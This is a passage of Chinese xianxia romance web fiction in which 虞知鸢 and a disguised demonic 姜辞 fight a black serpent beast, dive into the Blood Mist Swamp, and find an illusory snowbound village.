下一瞬,一缕黑气自姜辞体内流窜而出,瞬息之间便形成巨大的漩涡,夹着气流翻滚,铺天盖地向四周涤荡而去,巨树拦腰而断,无数血须蜂瞬间化作了灰烬。 耳边的嗡鸣声倏然消失。 虞知鸢睫毛颤了颤,缓缓地抬起了头。 耳边的喧嚣都在此刻如潮水般褪去,唯有她急促的呼吸声,伴随着剧烈鼓动的心跳声愈发剧烈。 她不自觉地咬了咬唇。 方才那强大而又恐怖的气息,与问心阵中姜氏一族灭门之日,何其相似。 但……怎么会呢? “没事了。” 姜辞清冷的声音冷不丁落入她的耳中。 虞知鸢禁不住地打了个哆嗦。 然后她才发现姜辞正微微垂着眸,她的视线落于她的面上,那双眼睛沉黑隐晦,眸中并不见那一抹令她心惊的血色。 难道刚才, 是她看错了? 云迷雾罩,树影婆娑。 伴随着愤怒的嘶吼声,数道剑光骤然撕裂长空,狂奔的身形骤然停滞,眨眼间鲜血飞溅,破碎的妖兽尸体散落四处。 鲜血的味道吸引来血须蜂,前赴后继,密密麻麻,瞬间将执剑的人包围。 虞曦云眼皮一跳,想也不想就飞扑上去,被人生生拽住了袖子。 “曦云师姐不必担心,大师兄定有办法脱身。” 话音才落,一道银白色火焰蓦地窜起。然这火焰与寻常之火并不相同,徒具火形,却没有烤焦人的高温,似冰冷至极的焰,不将万物燃尽烧融,而是将血须蜂生生冻结。 “是离火!”有人惊呼道。 离火可是元婴期的修士才能修炼的术法! 这也就意味着,慕言蘅已经突破金丹期,进阶到了元婴期! 有弟子忍不住失声道:“大师兄怕是修真史上唯一一个,如此年纪就修炼到元婴期的修士了吧。” 其余人也不禁七嘴八舌议论起来。 正在此时,火焰中慕言蘅像是感觉到什么,猛地转头望向森林深处的浓重漆黑中。 第40章 第40章潮热的吐息拂过虞知鸢的…… 谷中的黑气不知何时散开了些许,森白的月光悄无声息落下来,映出一张好似被薄雾笼着的面容,随着朔风流动,模糊了面容。 虞知鸢怔怔地看着面前的人,也被他居高临下地看着。她的肩背不自觉地绷得笔直,掌心紧紧攥着。 “虞师姐,姜师姐,总算跟上你们了。”破铜锣似的声音突兀响起,而后忽地一顿,变成十足的疑惑:“你们这是在……干什么呢?” 虞知鸢骤然回神,这才察觉到姜辞不知何时垂下了头,鼻尖几乎快要碰上她的,清冽的气息与她的纠缠在一起,亲昵到有些…… 诡异。 虞知鸢脑袋都木了一下。 “我过来的时候看见后头还有好多血须蜂,要不二位师姐……”南荣钰的目光在面前几乎贴到一起的两个人身上游移了下,迟疑道:“进来躲躲?” “好、好啊。” 虞知鸢应着声,慌忙推开姜辞,转身胡乱跑出几步,才看到南荣钰那颗凭空探出来的脑袋。 姜辞怀抱蓦然落空,眸光瞬间转冷,愈发沉沉,紧紧盯着她消失的地方,眸底像是压着什么。可惜此时背对着他的虞知鸢并没有看到。 这头南荣钰险些被冲进来的虞知鸢撞飞,好在虞知鸢反应快,拉了他一把,才算没让他摔个四脚朝天。 起身时,他视线不经意间落在依旧站在森冷月光下的那道清瘦人影,正要招呼姜辞也一起进来,姜辞像是察觉到他的视线,转过头,轻飘飘朝他看了过来。 恍惚间,南荣钰仿佛看到那幽深瞳底的一抹血色猩红。 南荣钰:“!!!” 我一定是看花眼了! 南荣钰重重闭了闭眼,再睁开,姜辞已经转开了目光。 他就说嘛,玄机阁那掌柜的明明说过这绝世戒隔绝出的空间,便是碎虚期的修士也探查不到,姜师姐的修为也才…… “虞师姐,”南荣钰手脚并用爬起来,问道:“姜师姐她如今是何修为?” 绝世戒隔绝了连同那道清冽气息在内的一切,虞知鸢仿佛炸开一样的脑子却仍旧没法清晰思考,听见南荣钰的问题,并没意识到有什么不对,一句“炼气三阶”不经大脑便脱口而出。 南荣钰闻言大大松了口气,心道方才果真是我的错觉,才炼气三阶的修为,比他也强不了多少嘛! 此时姜辞的视线又一次扫过来,却是盯住了背对 着他的那道纤细身影。 隔着一道屏障,他依然能清楚地看到她耳垂上的红色已经蔓延到了后脖颈。 也不知是气的还是恼的。 姜辞觉得指尖有些痒,骨头缝里也好像透出了痒,一种迫切的,堪堪要冲破压制的欲望在血脉里疯狂涌动。 他一下按住了指尖,也克制住自己飞散的思绪。 他不能着急,免得把她吓跑了。 此时南荣钰的声音恰到好处响起:“姜师姐,这里。” 云弥雾罩,树影婆娑的森林中凭空出现一个脑袋和一只手臂,该是十分恐怖的景象,姜辞却像是早就知道他就在那里似的,视线在南荣钰脸上扫了一圈,径直迈步朝他走来。 南荣钰见状,立刻往旁边退开了些。 虽然姜师姐看上去不太会撞到他,但他还是识相点的好,毕竟他后头这几天要想活着,大概也只能靠这两人了,更准确地说,是靠修为更好一些的虞知鸢。 想到这里,他的目光不由地在虞知鸢面上停留了片刻,不妨身后一个力道突地撞到他肩膀,他脚下一个踉跄,险些摔到绝世戒外头去。 南荣钰好不容易稳住脚步,抬眸一看,才发现姜辞不知什么时候已经过来。少女一身素衣,淡雅至极,神色间却带着一种拒人千里外的冷绝。 姜辞似是察觉到他的视线,掀眸懒懒地看过来,漫不经心扫了南荣钰一眼,冷声:“抱歉,没看到你。” 南荣钰:“……” 我丝毫没感受到你的一点歉意! 虞知鸢面上的热意还未散去,察觉到姜辞的靠近,原本渐渐平稳下来的心跳又开始不受控制起来。她深吸一口气,装作若无其事转过身,不料和方才已经走到她背后的人碰了个满怀。 柔软撞到坚硬上,胸口蓦地一疼。 虞知鸢鼻头生理性地一酸,等感觉到头顶有隐约的吐息落下来,她几乎是逃一样的往后退去,脚步有些乱,前脚跟不小心踩住了后脚尖,身子一歪,又栽回了姜辞的胸前。 靠! 鼻子好疼! 姜辞的胸怎么会这么硬…… 一个模糊的想法蓦地自她脑中蹿出来,就在即将成型时,被不远处骤然响起的“窸窣”声打断。 声音很轻,像是什么大型动物游曳在落叶上发出的声音,虽然轻浅,却隐约可闻。 虞知鸢后退的脚步一顿,侧眸望向声音传来的方向。 “像是五阶妖兽。”姜辞的声音在她识海中响起。 虞知鸢心中顿时一凛。 剧情中的五阶妖兽这么早就出现了吗? 可今日不过才是他们入千嶂谷的第一日啊。 这么一恍神,远处的窸窣声便已逼至身前。 虞知鸢闻到了空气中隐隐漂浮的血腥味,在那东西冲出灌木丛蹿上来的一瞬间,终于看清了那东西的模样。 浑身乌黑似铁,身躯奇粗无比,遍布着巴掌般大小的黑黝黝鳞片。磨盘大小的血盆大口张开着,吐息声嘶嘶森冷,两对火红眼珠子瞠着人,口涎滴到地上,散发出一阵恶臭。 那是……蟒蛇? “是黑蛟蟒。”姜辞说着,正要把虞知鸢揽在怀中,不妨大腿一紧,一个人形挂件已经死死缠了上来。 南荣钰的声音哆嗦得连不成句子:“大……大大……蛇……蛇……” 姜辞都还没来得及把人踹开,便见那蛇头仰天一啸,像是察觉到此处有人一般,泛着猩红赤色的竖瞳朝几人所在之处看了过来。 空气中的腥臭味愈来愈重,甚至能听到它利齿碰撞的声响。 虞知鸢心头直突突,额头都渗出来细密的汗珠。 这黑蛟蟒应当是察觉到他们方才的动静才找到这边来。 可方才对付活尸和血须蜂,她灵府中灵气已经耗了个七七八八,尚未来得及调息,此时再对上这五阶妖兽黑蛟蟒,恐怕没有半分胜算。 好在他们眼下正在这绝世戒隔绝出的范围内,黑蛟蟒应当不会那么快发现他们。 当然原文中姜辞也遇到了这黑蛟蟒,并且在最后和慕言蘅一起将之杀死。 这样想来,即便这黑蛟蟒发现他们的行迹,姜辞或许……也可以对付它? 是了是了,方才那么多的血须蜂,姜辞一招就灭了个干净。 兴许她就是那种在极度危险的时刻才能爆发出巨大力量的人?电视剧不都那么演吗,这就叫做主角光环。 有主角光环的人,当然是死不了的。 虞知鸢心中一定,这才发现自己的手不知什么时候紧紧攥在了姜辞的前襟上,而她整个人都几乎窝在了姜辞怀里。 “!!!”怎么回事! 她下意识要往后退开。 姜辞察觉到她的动静,手上一用力,又将她揽了回来:“别动。” 为什么不动?我动动怎么了?我在绝世戒里头我怎么就不能动了! 虞知鸢心中大声质问,落在姜辞眼里,却只看到她渐渐泛红的耳垂,以及她从刚才起就一直在躲闪的眼神。 他眉梢扬了扬,微微低下头,嘴唇几乎贴到了虞知鸢的耳朵上,“五阶妖兽已相当于人族正道碎虚期的修为,我们若是动静太大,它恐怕很快就会发现我们。” 潮热的吐息拂过虞知鸢的耳朵,又轻飘飘落在她的侧脸上。 虞知鸢禁不住打了个哆嗦,而后又是浑身一僵。 她闭了闭眼,死死压抑住心中涌起的怪异感受,问道:“那怎么办?” “我去引开它就是了。”姜辞低声道。 虞知鸢垂着眼皮,捏了下方才因为攥得太紧而微微发麻的指尖,少顷,才应了声:“噢。” 姜辞看她,“师姐就不担心我?” “唔……”虞知鸢仍然偏头看着别处,“你不会有事,你会变得很厉害的。” 姜辞离她更近,眼里有什么闪了下,淡淡的嗓音听不出任何异常,“师姐总是知道很多。” 虞知鸢闻言一顿,下意识抬眸对上他的视线。 两人呼吸因为她这个动作瞬间抵近,姜辞的气息拂着她的脸颊,她的气息洒在姜辞的脖颈。 意识到什么,虞知鸢整个人倏地绷紧,逃一样地移开目光,含糊道:“我不知道的可能更多。” “也是。”姜辞捏了捏怀中人的耳垂,这才看向那条似乎察觉到他们气息,正在缓缓逼近的黑蛟蟒,缓缓开口:“我不在,师姐要小心些。若是遇到对付不了的妖兽,那枚极品灵玉里头有我留下的一道法术,可以先拖一阵,我会回来找师姐的。” 姜辞说罢,目光一凝,垂眸居高临下睨了眼依旧挂在他腿上的南荣钰:“你再不起来,我不介意把你踢出去喂蛇。” 南荣钰:“!?!” 凭什么?啊? 对虞师姐就温言软语的,对我就能说出这种比寒冰还刺骨的话来?!? 我做错了什么了我? 40-50 第41章 第41章“你以后讨不到老婆,生…… 大腿上的重量总算卸去,姜辞刚要抬脚,一个力道拽住了他的衣袖。 “那个……”虞知鸢看一眼他,又偏开视线看向别处,“你不要逞能,打不过就让别人来。” 姜辞扫过她微颤的睫毛下的眼睛,眸底流过笑意,“师姐放心,它还伤不到我。” 浓烈的腥臭味已近在鼻尖,姜辞顾不上再说什么,一个闪身便踏出绝世戒。 总算逮到人的黑蛟蟒仰天一啸,倏然发动攻势向着姜辞扑咬而来! 姜辞的速度极快,在那只黑蛟蟒即将靠近的一瞬间,身形一转,出现在了它的身后。 周围的空气瞬间被带动,形成一股风,吹拂起虞知鸢额前的碎发。 黑蛟蟒动作灵活,一击不成,立刻扭转身体,换了方向去追逐姜辞。 虞知鸢脚步不自觉地往前迈了一步,识海中蓦然 响起姜辞的声音:“乖一点,等我回来。” 两人的视线在黑暗中相撞,虞知鸢倏地止住了脚步。 过了好一会儿,直到再也瞧不见姜辞和那条黑蛟蟒的影子了,她才觉得脚踝一松。 “吓、吓死我了,我还以为今天就要交代了。”南荣钰松开手瘫坐在地上,往后挪了挪,又挪了挪,嘴里嘀嘀咕咕:“还不让我抱虞师姐大腿,管得可真宽。” 身上的力气恢复些了,南荣钰才想起来什么,他看了看虞知鸢,小声问道:“那个……姜师姐才炼气三阶的修为,不会出事吧?” 过了好一会儿,虞知鸢才找回自己的神智,她轻“嗯”了声,“不会出事,她很厉害的,黑蛟蟒打不过她。” 南荣钰:“啊?” 他不知道虞知鸢是哪来的底气,那姜师姐才炼气三阶的修为啊! 炼气三阶! 他要是早进门两个月说不定都能修炼到炼气三阶了…… “实在不行,还有大师兄啊,大师兄会找到她的,大师兄他,”虞知鸢说到这里忽然滞了下,许久,才接着喃喃道:“嗯,大师兄会保护她的,他们两个是……” “是什么?”南荣钰好奇道。 虞知鸢心道:他们是男女主啊,他们合该是……天生一对。 南荣钰等了会儿没等到虞知鸢的回答,想了想,迟疑道:“要不,我们偷偷跟上去瞧瞧?” 虞知鸢的嘴唇微微蠕动了下,而后像是忽然醒过神来,用力瞪了眼南荣钰:“你是嫌自己死得不够快是吗?” 南荣钰委屈巴巴:“虞师姐别生气,我、我也就是随口一说,我自己有几斤几两我还是知道的,虞师姐别、别当真,呵、呵呵。” 虞知鸢又狠狠瞪了眼南荣钰,这才找了个干净的地方,靠着树坐下了。 自进入千嶂谷她就没有好好歇过,此时松懈下来,才深觉疲惫。 她灵府虚空,本该是引灵气入体调息的最好时间,但也不知道是千嶂谷中灵气匮乏,还是耳边那道声音抬聒噪,许久都没能静下心来。 她索性睁开眼,视线漫无目的逡巡着四周。 兴许是因为那黑气散开了些,视线所能捕捉的东西也就愈发清晰。 周围尽是耸入云端的老树,虬龙般苍劲的树枝盘曲交错,树上落着几只乌鸦,不时发出阵阵粗哑的鸣叫,忽又展翅飞起,掠过天空。 突地,几道乌鸦轻啼声突兀响起,叫声落到耳中,听来尖锐又凄厉。 南荣钰被吓得跳了起来:“怎么了怎么了?出什么事了?” 虞知鸢朝着乌鸦飞离的方向望去,而后眸光微凝。 只见在那参天老树最顶端的枝桠之间,有如细线一般的白光忽隐忽现,仿佛整个树林都被扯上了密密麻麻的白丝,错综复杂地,把幽暗的森林编织成了一张网。 那是……蜘丝? 虞知鸢的眉头皱起,重新又细细打量了遍周遭。 除了头顶巨树间的蛛丝外,暂时还不见别的什么东西,看来那布网的大蜘蛛眼下不在这里,但即便不在,这里也不是个休整的好地方。 “准备一下,我们走。”她低声道。 南荣钰忙不迭地点了点头。 他虽然修为低,咳……是没修为,但眼力见还是不错的,听那乌鸦的惨叫就知道这地方不安全,他瞧一眼四周,问道:“那我们去哪?” 他话音刚落,远处巨大的炸裂声伴随着耀眼金光乍然响起,那金光四溢,照得远处那一片天空亮如白昼。 虞知鸢目光微滞,少顷,像是下定了什么决心,缓声道:“我们去找大师兄。” 毕竟都已经发动这种大招了,那什么黑蛟蟒应该解决了吧。 /// 磅礴的灵力四溢,周遭树木拦腰折断,沉闷兽吼跟着响起,惊起飞鸟无数。 慕言蘅左手握拳,金光化成弓,右手做拉弓状,一枝金灿光箭成形,指一松,光箭趁势朝黑蛟蟒疾射而去,破空声凛冽,笔直驰去。 黑蛟蟒灵活往旁边一避,然闪躲得到底还是迟了些,光箭刺入左蛇眼,黑蛟蟒痛极,极度暴躁地一通翻滚,“嘭”的一声,蛇头撞到一道透明屏障上。 重击之下,屏障上霎时裂开蜘蛛网一般密集的裂纹,不过须臾,便化作了漫天灵光,屏障中的人便也随之暴露在了黑蛟蟒的视野中。 黑蛟蟒的一双竖瞳愈发血红,蛇尾灵活朝着其中一人而去。 “曦云师姐小心!”有弟子惊恐出声。 这黑蛟蟒可是五阶妖兽,要是被它一绞,怕是骨头都要被绞成渣了。 他这边话音才落下,那头慕言蘅早已经蓄足了灵力,抬手便在空中画了一个困邪阵。 一道白光在林中炸开。 慕言蘅指尖在空中画了个圈儿,金光化为锁链,趁机将黑蛟蟒束缚,将虞曦云安稳救下。 电光火石间,黑蛟蟒挣脱束缚,蛇尾一卷,便将另一道身影卷住,收紧。 慕言蘅警觉,要将人拉回来,速度却不及黑蛟蟒,一个眨眼瞬间,那人便被拖离了原地,与黑蛟蟒一起,消失在了众人视野中。 慕言蘅扔下一句“待在这里别动”,便飞身追了上去。 “去、去那了?” “被卷走的是谁?” “我们要去救人吗?” 几个弟子相互对视一眼,皆都沉默了。 他们的修为不高,也是运气好才在被血须蜂冲散后遇上慕言蘅,否则怕不早被血须蜂给吸干净血肉,又哪有能力去对付那黑蛟蟒,就算追上去,恐怕也是添麻烦。 另一边的虞曦云目光定定看着黑蛟蟒消失的方向。 方才大师兄说感觉到了有魔气,他们便一路追踪而来,没成想竟遇上了被黑蛟蟒追着跑的姜辞,也算是她运气好遇见他们,否则她怕是早就进了那黑蛟蟒的肚子。 这黑蛟蟒也着实是厉害,都伤成这样了,还能在大师兄的眼皮子底下跑掉,看它跑的方向,正是血雾沼泽所在。 可惜了,那虞知鸢怎么没和姜辞一起呢! 虞曦云恨恨咬了咬牙,不死心地抬脚跟了上去。 /// 成千的落羽杉笔直高耸,伫长于血红泥潭间,交错如蛛网的漫天枝桠,不见半点翠绿,一眼望不穿的漭荡无垠,笼罩在血色蒙雾间。 蓦地,栖息于湖沼的食尸鸟成群受惊地振翅飞逃,黑色羽翼展开,仿佛黑云,布满不见天日的上空,嘈杂尖叫充斥隔膜,锐利如剑啸。 一人一蟒自血雾沼泽上空打到血雾沼泽泥面,整片树林随着一道道利风迸裂碎散。一棵棵落羽杉化为湖沼间的尘泥,沼面上波澜骤起,轰隆轰隆的回声,久久不休止。 眼看着慕言蘅跟甩不掉的狗皮膏药一样黏上来,姜辞“啧”了一声,低垂的眼睫下,是分不清不耐又或者是厌烦。 趁着慕言蘅被黑蛟蟒的一击隔开时,姜辞双眸一凛,指腹凝聚起淡淡黑气,化为丝、凝成缕,密密裹绕插在黑蛟蟒左眼上的金箭,他食指弯勾,金箭生生被拔了出来,而后又一次直刺黑蛟蟒的头部正中。 金箭穿透黑蛟蟒的头骨而出。 极度痛楚之下,黑蛟蟒尾巴疯狂翻搅,打到血雾沼泽之中,泥浪汹涌,窜至半空高,赤红的血,交织若雨,腥浓气息掩盖掉血雾沼泽散发出来的腐臭味。 正要回击的慕言蘅见状动作一顿,像是察觉到什么,目光死死盯住了在血雾沼泽中痛苦翻滚的黑蛟蟒,也盯住了那道被黑蛟蟒甩出去,落入血雾沼泽中的青色身影。 这一幕同样落在终于赶来的虞知鸢眼中。 她脑中无数画面、文字交替闪过,终于在某一刻,定格在血雾沼泽四个大字上。 是的。 血雾沼泽,就是原文中男女主与黑蛟蟒大战的地方,姜辞也是在这里受了重伤,险些丢了性命。 不久前,她对这一段情节的记忆还十分清晰,可为什么,直到眼前这一幕在她眼前真实发生,她仿佛断了片一样的记忆才再次连接起来。 还有,慕言蘅为什么不救姜辞? 他明明来得及出手的,但他却没动。 他不是男主吗?他怎么会眼睁睁看着姜辞掉到那个一看就很危险的沼泽里去? 虞知鸢忽略鼻头泛起的酸意,跑到慕言蘅身边推了推他,急道:“大师兄,你还愣着做什么,快去救姜辞啊!” “没人能从血雾沼泽里活着出来,更何况,”慕言蘅眉头 皱起,冷声道:“血雾沼泽再过去就是封禁大阵阵眼所在,凌云宗弟子不得靠近,违者逐出师门。” 靠! 这破阵眼弄在这种地方,谁没事会靠近啊,靠近的不都是没办法嘛! “就因为这你就不救人了?亏你还是大师兄呢,就这么眼睁睁看着自己的同门师妹死在自己面前,你……” 虞知鸢急得口不择言,“你贪生怕死!你杀人犯!你以后讨不到老婆,生儿子没**!” 现在一旁已经听呆了的南荣钰:“……” 恶毒,这也太恶毒了。 这时虞曦云不知从哪跑出来,手中长鞭直指虞知鸢,“你胡说八道些什么!你想救你自己跳下去救,没人拦着你!” 虞知鸢好笑地睇了眼她,而后一转身,顺手扯上仍呆站在原地的南荣钰一道,在慕言蘅和虞曦云眼前,跃入了血雾沼泽中。 南荣钰:“???啊——” 第42章 第42章嚯!这会儿又成师姐了?…… 蚀溶的声音一阵一阵从耳边传来,像一锅沸滚热油,蓦然被倒入清水,滋地发出油爆,确实也能听见什么东西爆开。 虞知鸢睁开眼,除了满目粘稠血色,不见任何身影,耳边蚀溶声与爆破声不断反复交替,其中还隐隐夹杂着什么东西被巨大力量挤压着而发出来的令人牙酸的“吱呀”声。 “虞、虞师姐,”南荣钰瞧着绝世戒创造出的空间被不断挤压,缩小,简直要控制不住自己的一把男儿泪。 “其实依我看,姜师姐她……她人美心善,说不定掉到这里就是姜师姐的一次……机缘,” “没错,是机缘,修仙不都讲机缘嘛,但机缘这种东西那东西肯定不能给太多人啊,你看我们都下来这么久了也没看到她的人,这机缘肯定不是我们的。” 南荣钰说着,一边又往虞知鸢背后挤了挤,绝世戒原本能容纳三四人的空间,如今两人背对背都有些嫌小了,恐怕用不了多久,绝世戒的空间就会被完全吞没。 虞知鸢没有搭理南荣钰。 姜辞还在这里,她能肯定。 可这片血雾沼泽中的粘稠液体也不知道是什么东西,其腐蚀性实在强得可怕,要不是她在跳下来前把揣着绝世戒的南荣钰一起拽下来,怕是根本抵挡不住半刻钟。 即便有绝世戒,看现在的情况,留给她的时间也已经不多。 她忽略南荣钰喋喋不休的聒噪,调动着所有的灵力与感官,静下心来探查姜辞所处的位置。 绝世戒的范围不断缩小,南荣钰撑着绝世戒的手臂哆哆嗦嗦:“咱就是说,姜师姐说不定都已经出去了,咱也没必要把自己交代在这里对不对?” 没回应。 南荣钰哭丧着脸继续嚎:“姜师姐,你在天有灵倒是也劝劝虞师姐啊,我还不想死——” “闭嘴!”虞知鸢蓦地睁开眼,“你自己上去。” 话音刚落,她身子往前一荡,祭出的护罩已经兜住全身。 在血沼中行进比想象的还要困难些,双手双腿都像是被一股力量禁锢,每前进一步,都要消耗不少灵力。她灵府内灵力本就不充裕,护罩能坚持的时间比她之前预想的还要少得多。 好在,应该不会太远了。 她能感受到沼泽中因某种力量引起的波动,还有……身上那枚极品灵玉和姜辞之间的共鸣。 忽然,她的动作毫无预兆地一顿。 周身粘腻的血红色液体不知什么时候变淡了些,有光线落进来,隐约能看到远处漂浮着的,数不清的白骨。 它们在沼泽中浮浮沉沉,头骨上紧贴着一层透明薄膜,渐渐地,薄膜表面开始浮凸,朝她“看”了过来。 下一瞬,虞知鸢只感觉到自己的脚腕被什么冰冷的东西死死拽住,整个人都被猛地往下一拽。 陡然受惊,护罩一时不稳,冰冷的液体从四面八方涌过来。 虞知鸢浑身起了一层鸡皮疙瘩,她知道这沼泽里的肯定不是普通的泥浆或是什么,也想过血雾沼泽这个名字的来源或许就是因为这里头全是血浆肉浆,但真的身处其中的时候,她才第一次真正感受到了这其中的异样。 阴冷、粘稠,像是……活着的。 虞知鸢死死屏住呼吸,闭住嘴唇,她是绝对、绝对不会让这种东西进到自己嘴里的。 视野因为这一番变动重新变得浑浊不轻,她也不敢低头去看,灌注灵力的另一条腿狠狠一蹬,挣脱束缚的同时,已灵力维持的护罩再也坚持不住,冰冷的浆液瞬间从眼耳口鼻不断侵入五脏六腑,听觉变得模糊,体内轮转的灵力被生生阻滞。 透过满目血红,她隐约看到了伫立在其中的姜辞,黑发在脑后自成一阵波潮,翻腾扬舞,好似要飞起来一般……静谧的侧颜,读不出一丝一毫的神情,那模样犹似一尊栩栩如生的石雕。 但她朝前方伸出了手,抓住了她眼前的…… 虞知鸢顺着她手臂平伸的方向瞥去,还没有看清楚那是什么,一股强悍的威压以排山倒海之势朝她压了过来。 下一瞬,她感觉到后领一紧,一个力道猛地把她抓到了怀里。 她意识到什么,一下抓住了对方的衣襟,然后隐约感觉到了一点淡淡如山间雪的凉意。 清冽、湿润。 不知过去了多久。 当虞知鸢的视线重新弄变得清晰的时候,周围已经天光大亮。 一片晶莹的雪花落在她鼻头,化成雪水淌了下来。 她抬起眼,满目大片雪白,好像一眼望不见头似的,只能看到雪花纷纷扬扬落下来,一股寒意跟着扑在她的面颊上,冷得她忍不住地打了个激灵。 虞知鸢眨了下眼,身子不自觉地往旁边的热源偎了偎。 “冷?”姜辞环住她的手臂收紧了些。 虞知鸢这才发觉自己从刚才起就一直被姜辞揽在怀中,而她方才的举动,更是让自己几乎贴在了姜辞胸前。 她吞了口口水,不着痕迹地微微抻直了背,而后才抬眸看向姜辞:“你怎么样?” “我没事。”姜辞低下头,为她拭去眼睫上的一点雪花,“试试可否调动灵力。” 虞知鸢一怔,然后尝试着调动体内的灵力……片刻后,内府依然一片沉寂,经脉中的灵力犹如一潭死水,兴不起丝毫波澜。 就像是……像是一下子变回了凡人一样。 怎么会这样? “怎么下雪了?好冷啊。”一道还算熟悉的声音突兀响起,“靠!这什么鬼地方?” 虞知鸢转过头,人都还没看清楚呢,便听得他语调一转,高亢道:“虞师姐!还有……姜师姐?真的是你啊姜师姐,你竟然还活着呢。” 虞知鸢:“……” 眼看着姜辞的面色一点点变得冷硬,她横了一眼南荣钰这个二愣子,好心解围道:“你怎么在这里?” “我不造啊。”南荣钰拢紧衣裳,一边踩着雪踉踉跄跄走过来,一边继续道:“我本来马上就出去了,不知道哪里打来个,”他抬手比划了下:“这么大的浪头,一下把我打晕了。我醒过来就在这了,然后就看到你们了。这里究竟是什么地方?” 他说着,心中还忍不住庆幸,还好是醒在这地方,要是醒在血雾沼泽里……不,那他都没机会醒了! 还好还好。 姜辞并不搭理他,目光缓缓打量过四周,垂眸对上虞知鸢同样疑惑的视线,淡声道:“是幻境。” “幻境?” 虞知鸢转头去看。 四周白茫茫一片,不远处隐约可见房屋的轮廓,低矮破旧,屋顶也同样被积雪覆盖着,像是一座普通的凡人村庄。 血雾沼泽底下竟然会有这样一个幻境?是谁造就的? 姜辞眸色微凛:“过去看看。” 南荣钰闻言,连忙跺了跺脚,哆哆嗦嗦道:“姜师姐说的是。咱们快去找间屋子避避风,我快冻死了。” 话音未落,他已经朝着那村庄的方 向过去了。 虞知鸢还记着自己现在对姜辞的心思有点不可描述,下意识要和姜辞保持些距离,只才一动,姜辞的声音便落了下来,“别动,眼下你没法调用灵力御寒,凡人之躯难以抵挡风雪,别再病了。” 他说着,把明显不太配合的虞知鸢往自己怀里塞了塞,又低下头,轻声哄着:“阿鸢听话。” 虞知鸢闻言不自禁地浑身一抖,险些被自己的脚绊了跟头。 姜辞扶住了她的腰,轻微不可闻的一声弥笑散开,“师姐路都走不稳了,这会儿就莫要再逞强了。” 嚯!这会儿又成师姐了? 虞知鸢气得鼓了鼓腮帮子,感觉到身侧人胸膛的微微震颤,忍不住抬眸瞪了他一眼。 这一眼带着薄怒,薄怒中藏着赧然,衬得她的一双眼睛越发明亮。 姜辞眸光闪了闪,移开视线,这回没再逗她,只带着她快步追上了走在前头的南荣钰。 南荣钰一脚深一脚浅的,好不容易走到村口了,才发现这村庄不太正常,更准确地说,是诡异。 村里大约十来间房屋,因被积雪覆盖,看不清出原本的模样,其中不少房屋的门窗都是打开的,但并不见人进出,甚至半点声音都没有。像是座空村。 气氛一下子变得沉寂起来。 “我们……还进去吗?”南荣钰问道。 这地方一看就不正常,他们要是进去了保不准会遇上什么危险呢。 但要是不进去…… 在这样望不到边的冰天雪地中,他们又能去哪里? 南荣钰拢紧了身上的衣服,面色又青又紫,也不知是冻的还是吓的。 不知过了多久,姜辞当先开了口:“若是待在此处,恐怕不出一刻,我们就会被活活冻死。” 虞知鸢点点头。 这村庄是眼下他们唯一能到的地方,若是不出意外,恐怕也是他们离开这个幻境的关键。无论如何,他们都得进去看一看。 “我先进去看看有无异样。”姜辞道。 南荣钰闻言立刻哆哆嗦嗦拱了拱手:“那甚好甚好,有劳姜师姐。” 姜辞并不应他,嘴唇贴近虞知鸢的耳朵,微微动了动,柔声:“我会带师姐出去的。” 这话带着湿热的吐息落下来,虞知鸢心中一颤,抬眸间,瞧见了姜辞眉眼间的霜雪。 第43章 第43章“一个魔,又该如何修正…… 虞知鸢攥了攥冻得微微发麻的指尖,片刻,还是拔腿跟上了姜辞。 虽然眼下她们都没法使用灵力,但里头要是有危险,两个人怎么也比一个人来的有胜算罢。 “哎不是,你们都去啊?”南荣钰磕巴了下,“那、那要不我也去?哎你们等等我,咱一起、一起啊,多个人多份力量嘛。” 村中房屋看着破败,里头倒还算干净,除了没有任何活物外,摆设结构与普通的凡人村庄并没有太大差别。 从村头到村尾,统共十多间屋舍,南荣钰走得直喘气,身上恢复了点热意的同时,一阵饥渴感也跟着袭来,他面有菜色:“我一天没吃东西了,好饿啊,咱们要不要找点吃的?” 他起了个头,虞知鸢才也慢一拍地感觉到饿。 自打修炼后,她虽然没有特意辟谷,但修为在身,不吃也没多大问题,但现在他们的情况恐怕真的与凡人无异,若是如此,恐怕他们也会如凡人一般,被饿死被冻死。 虞知鸢:“但我们方才察看的屋舍中的吃食都被冻坏了,便是井中的水也被冻住了。” 南荣钰:“……” 大雪天,就是他们去挖野菜那也找不着啊! 他想过自己此次来凌云宗会死,或许是在历练时被妖兽吃掉,或许死在……凌云宗人手中,但他可从来没想过,自己堂堂弘昼国十一皇子竟然会被饿死! 这要是传出去岂不是让人笑掉大牙? 他哭丧着脸转头去瞧虞知鸢和姜辞。 虞知鸢的目光忽然捕捉到什么,她慢吞吞眨了眨眼,蓦地抬起手指着村尾的最后一间小院,声音有些飘忽:“去那里看看。” 南荣钰顺着她手指的方向看过去。 那是一间由竹与茅草搭建的简陋屋舍,同样被积雪覆盖,方才离得远并没有瞧出什么不同,靠近了才发现这屋舍前头还带了个篱笆围出来的小院,但除此之外,也没有什么特殊的了。 这是这村子里他们唯一没察看过的屋舍,自是要进去看看的。 这时姜辞的衣袖被轻轻拽了下。 虞知鸢已经收回了视线,仰着头,睫毛微颤。 “我……”她嘴唇动了动,茫然道:“这院子,好像有些眼熟。” “你们快过来,”此时南荣钰兴奋的声音从院子里传出来,“这里和别家不太一样!” 姜辞替她拢了拢颊边被风吹乱的发丝,“先进去看看。” 虞知鸢点了下头,视线晃过院子外头一排倒挂的金黄黍杆时,脑中蓦地闪过什么。 速度太快,她还没得及抓住,就被眼前的景象吸引了注意力。 这院子里除了一口井,还有一棵……应当是梧桐树吧,粗壮的枝干上覆着一团团雪沫,一阵风吹过,摇下的雪花便散落在了树下的石桌和石凳上。 院中石子漫成甬路,竟未被积雪完全覆盖,露出的痕迹直通里头的小小三间房舍。 其中正屋中摆设十分简单,只一张破旧木桌并几个破凳子,而右侧屋子却垂着湘帘,里面都是合着地步打就的床几椅案,靠墙的柜子里还放着几条棉被,虽然看上去同样老旧却很干净,像是常年被人打理着。 “这里是厨房。”从另一侧屋中传来了南荣钰的声音,“但是也没有吃的。” 他恨恨从里头出来,一屁股坐在桌旁,唉声叹气拍了拍自己的储物袋:“好饿啊,可惜我这储物袋里还装了不少吃的和衣物,要是能拿出来,咱也不至于——哎?” 他话音一顿,取而代之的是“咕咕哒”一声响。 虞知鸢和姜辞掀开帘子出来看到的,就是一脸怔愣的南荣钰,手里拎了一只公鸡。 ……鸡? 虞知鸢呆了下:“哪来的?” 